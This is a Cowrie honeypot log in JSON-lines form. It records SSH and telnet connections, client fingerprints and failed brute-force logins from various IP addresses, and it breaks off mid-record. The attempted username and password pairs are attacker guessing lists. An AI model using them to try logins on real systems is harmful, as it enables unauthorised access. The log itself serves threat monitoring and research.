{"eventid":"cowrie.login.failed","username":"admin","password":"123654","message":"login attempt [admin/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:29.905660Z","src_ip":"14.55.144.22","session":"a3b0e592a129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:31.114943Z","src_ip":"14.55.144.22","session":"a3b0e592a129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"7739baed8770","protocol":"ssh","message":"New connection: 154.16.115.34:54360 (10.17.0.5:22) [session: 7739baed8770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.383003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.387007Z","src_ip":"154.16.115.34","session":"7739baed8770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.412116Z","src_ip":"154.16.115.34","session":"7739baed8770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Swyftx@S3cur3!","message":"login attempt [root/Swyftx@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.488214Z","src_ip":"154.16.115.34","session":"7739baed8770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":34082,"dst_ip":"10.17.0.5","dst_port":22,"session":"a91fd0524962","protocol":"ssh","message":"New connection: 108.179.220.174:34082 (10.17.0.5:22) [session: a91fd0524962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.968591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.972287Z","src_ip":"108.179.220.174","session":"a91fd0524962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:32.996454Z","src_ip":"108.179.220.174","session":"a91fd0524962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"justin","password":"Tron#P@ssw0rd!S3cur3","message":"login attempt [justin/Tron#P@ssw0rd!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:33.075669Z","src_ip":"108.179.220.174","session":"a91fd0524962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:33.514709Z","src_ip":"154.16.115.34","session":"7739baed8770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:34.101651Z","src_ip":"108.179.220.174","session":"a91fd0524962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0294b8413ff","protocol":"telnet","message":"New connection: 107.6.151.170:58716 (159.203.135.109:23) [session: a0294b8413ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:48.043626Z"}
{"eventid":"cowrie.session.closed","duration":60.21522808074951,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:51.583563Z","src_ip":"170.64.224.25","session":"217b0c904943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":54102,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7b53cf4272f","protocol":"ssh","message":"New connection: 92.118.39.50:54102 (159.203.135.109:22) [session: e7b53cf4272f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:54.055341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:54.167782Z","src_ip":"92.118.39.50","session":"e7b53cf4272f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:54.169806Z","src_ip":"92.118.39.50","session":"e7b53cf4272f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc","message":"login attempt [root/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:55.246142Z","src_ip":"92.118.39.50","session":"e7b53cf4272f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:57:56.438538Z","src_ip":"92.118.39.50","session":"e7b53cf4272f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57254,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea1685662f2","protocol":"ssh","message":"New connection: 91.92.40.176:57254 (10.17.0.5:22) [session: 6ea1685662f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:58:33.736370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:58:33.739551Z","src_ip":"91.92.40.176","session":"6ea1685662f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:58:33.820858Z","src_ip":"91.92.40.176","session":"6ea1685662f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"Guest123","message":"login attempt [guest/Guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:58:34.072630Z","src_ip":"91.92.40.176","session":"6ea1685662f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:58:35.155864Z","src_ip":"91.92.40.176","session":"6ea1685662f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52858,"dst_ip":"159.203.135.109","dst_port":22,"session":"60944d0bd0fa","protocol":"ssh","message":"New connection: 103.172.78.219:52858 (159.203.135.109:22) [session: 60944d0bd0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:04.716198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:04.720588Z","src_ip":"103.172.78.219","session":"60944d0bd0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:04.994171Z","src_ip":"103.172.78.219","session":"60944d0bd0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111281","message":"login attempt [root/111281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:05.816423Z","src_ip":"103.172.78.219","session":"60944d0bd0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:07.095986Z","src_ip":"103.172.78.219","session":"60944d0bd0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"1930dc8e05a1","protocol":"ssh","message":"New connection: 147.45.211.215:35468 (10.17.0.5:22) [session: 1930dc8e05a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:25.274147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:25.277957Z","src_ip":"147.45.211.215","session":"1930dc8e05a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:25.455104Z","src_ip":"147.45.211.215","session":"1930dc8e05a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3a","message":"login attempt [root/q1w2e3a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:25.991932Z","src_ip":"147.45.211.215","session":"1930dc8e05a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:27.171074Z","src_ip":"147.45.211.215","session":"1930dc8e05a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43742,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4e8523244e","protocol":"telnet","message":"New connection: 107.6.151.170:43742 (159.203.135.109:23) [session: fb4e8523244e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:27.327345Z"}
{"eventid":"cowrie.session.closed","duration":120.0119731426239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:48.055501Z","src_ip":"107.6.151.170","session":"a0294b8413ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9721006bf8","protocol":"telnet","message":"New connection: 94.23.66.112:36528 (10.17.0.5:23) [session: 9d9721006bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:52.849928Z"}
{"eventid":"cowrie.session.closed","duration":32.540387868881226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:59:59.867612Z","src_ip":"107.6.151.170","session":"fb4e8523244e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40086,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6659df561c9","protocol":"telnet","message":"New connection: 170.64.224.25:40086 (159.203.135.109:23) [session: a6659df561c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:00.499662Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":40912,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d9b52aa8ea7","protocol":"ssh","message":"New connection: 160.22.170.38:40912 (10.17.0.5:22) [session: 8d9b52aa8ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:04.759594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:04.768372Z","src_ip":"160.22.170.38","session":"8d9b52aa8ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:05.152772Z","src_ip":"160.22.170.38","session":"8d9b52aa8ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:07.696925Z","src_ip":"160.22.170.38","session":"8d9b52aa8ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:08.952135Z","src_ip":"160.22.170.38","session":"8d9b52aa8ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":60916,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db37d2176bc","protocol":"ssh","message":"New connection: 14.55.144.22:60916 (159.203.135.109:22) [session: 9db37d2176bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:16.746818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:16.750708Z","src_ip":"14.55.144.22","session":"9db37d2176bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-